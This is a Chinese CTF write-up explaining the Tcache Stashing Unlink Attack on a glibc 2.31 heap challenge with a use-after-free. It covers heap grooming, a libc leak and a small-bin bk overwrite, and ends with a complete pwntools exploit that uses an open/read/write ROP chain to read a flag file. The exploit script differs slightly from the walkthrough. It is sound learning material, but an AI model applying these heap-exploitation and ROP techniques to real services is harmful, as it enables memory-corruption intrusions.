通过蜀道山的一道堆题来学习一下Tcache Stashing Unlink Attacke。
Tcache Stashing Unlink Attacke虽然有Unlink,但是感觉和unlink的利用方法有很大不同,唯一相似的地方可能就是脱链绕过检查。
标签:libc2.31 uaf calloc Tcache Stashing Unlink Attacke
保护:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'/home/gsnb/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64'
程序:
菜单题,但是这里看到了choice5
是read读入到栈上,大小是nbytes(bss段)里面存的值
同时这题开了沙箱,那大体思路就有了,改nbytes(bss段)里面为一个大的数足够溢出,写orw
add不能申请largebin,并且是调用calloc申请chunk,并且add完给了chunk地址
free uaf
Tcache Stashing Unlink Attacke 条件
当我们从small bin拿出来chunk的时候,程序会检查当前small bin链上是否还有剩余堆块,如果有的话并且tcache bin的链上还有空余位置(前提是不能为空,不然即使有空余也不行),就会把剩下的堆块链进tcachebin里面,但是链进去的时候没有进行链表的检查,所以我们可以在这个时候攻击这个即将链进tcachebin的堆块的bk指针,就可以达到任意地址写一个main_arena的效果。
当然你会发现一个奇怪的事情,明明tcachebin里面不是空的,那不应该先从tcachebin里面取出堆块吗,为什么会直接从smallbin里面取呢
那就涉及到了这个攻击手法的核心,calloc函数,这个函数最初只是方便同时创建多个大小相同的堆块,但是它在取出堆块的时候,会越过tcachebin,所以想用Tcache Stashing Unlink Attack一定至少可以用一次calloc
1、tcachebin非满
2、smallbin上有chunk
3、calloc
4、可以修改堆块的bk
but
这个题只有calloc,那么申请chunk的时候会忽略tcachebin,怎么造成tcachebin非满且smallbin上有chunk的状态呢?
’‘unsortedbin分割机制’‘
条件1、2
for i in range(7):
add(0x300)
# edit(i,'./flag\x00\x00')
delete(i)
for i in range(7,13): #6个
add(0xf0)
delete(i)
add(0x300)#13
add(0x300)#14
edit(14,'./flag\x00\x00')
delete(13)
show(13)
#p.recvuntil(b'\n')
#libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
success('libc_base:'+hex(libc_base))
由于是calloc,所以再次申请chunk并不会从tcache中拿。
把要open的flag文件写到chunk_14内,然后利用chunk_13泄露libc_base
add(0x200)#15分割unsort
add(0x300)#16 chunk_15进smallbin
把unsortedbin中的chunk_13分割出0x200,留下0x100在unsortedbin中,再add一个比0x100大的chunk使剩下的0x100并入smallbin中。
ru('Ptr: ')
addr = int(rc(9),16)-0x2a0-0x2190-0x11e0 #chunk_start ( 0x291 tcache_guanli )
success('addr:'+hex(addr))
add(0x300)#17 geduan
delete(16)
add(0x200)#18 实际上0x200是16 0x100shi18
add(0x300)#19
接收chunk_addr ,再来一遍。目前smallbin里两个0x100的chunk
Tcache Stashing Unlink Attacke
edit(16,b'\x00'*0x208+p64(0x101)+p64(addr+0x31f0)+p64(0x4040C0-0x4-0x10)) #0x4081f0 smallbin_chunk1 edit溢出?? 还是切割了还能写 ? 实际上就是改了bk位?
add(0xf0)#20
修改chunk18(第一个smallbin_chunk)的bk位为nbytes(bss段)
再使chunk18脱链
结果就是nbytes(bss段)被写入了main_arena(再稍微改一下偏移,就是一个较大的数)
脱链前:
脱链后:
smallbin中剩下的那个0x100的chunk会被并入tcachebin中
流程图
orw
bss = addr+0x3300 #chunk_14 0x408300 ◂— 0x67616c662f2e /* './flag' */
sla(b'Your choice:',b'5')
sd(b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(1)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x100)+p64(rdx)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x100)+p64(rdx)+p64(0x50)+p64(0)+p64(write))
p.interactive()
exp
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 0
if flag:
p = remote('',)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
gdb.attach(p,'b *0x401711')
pause()
def add(size):
sla(b'Your choice:',b'1')
sa(b'size:\n',str(size).encode())
def delete(index):
sla(b'Your choice:',b'2')
sla(b'Idx:\n',str(index).encode())
def show(index):
sla(b'Your choice:',b'4')
sla(b'Idx:\n',str(index).encode())
def edit(index,content):
sla(b'Your choice:',b'3')
sla(b'Idx:\n',str(index).encode())
sa(b'Content:\n',content)
#dbg()
for i in range(7):
add(0x300)
# edit(i,'./flag\x00\x00')
delete(i)
for i in range(7,13):
add(0xf0)
delete(i)
#dbg()
add(0x300)#13
add(0x300)#14
edit(14,'./flag\x00\x00')
delete(13)
show(13)
#p.recvuntil(b'\n')
#libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
success('libc_base:'+hex(libc_base))
openn = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']
rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
rdx = libc_base + 0x0000000000119431 #0x0000000000119431 : pop rdx ; pop r12 ; ret
#add(0x200)#15分割unsort
add(0x400)#16 chunk_15进smallbin
ru('Ptr: ')
addr = int(rc(9),16)-0x2a0-0x2190-0x11e0 #chunk_start ( 0x291 tcache_管理 )
success('addr:'+hex(addr))
add(0x300)#17 geduan
delete(16)
add(0x200)#18 实际上0x200是16 0x100是18
add(0x300)#19
bss = addr+0x3300 #chunk_14 0x408300 ◂— 0x67616c662f2e /* './flag' */
edit(16,b'\x00'*0x208+p64(0x101)+p64(addr+0x31f0)+p64(0x4040C0-0x4-0x10)) #0x4081f0 smallbin_chunk1 还是切割了还能写 实际上就是改了bk位
add(0xf0)#20
sla(b'Your choice:',b'5')
addr = 0x40167A
#dbg()
sleep(1)
sd(b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(1)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x100)+p64(rdx)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x100)+p64(rdx)+p64(0x50)+p64(0)+p64(write))
p.interactive()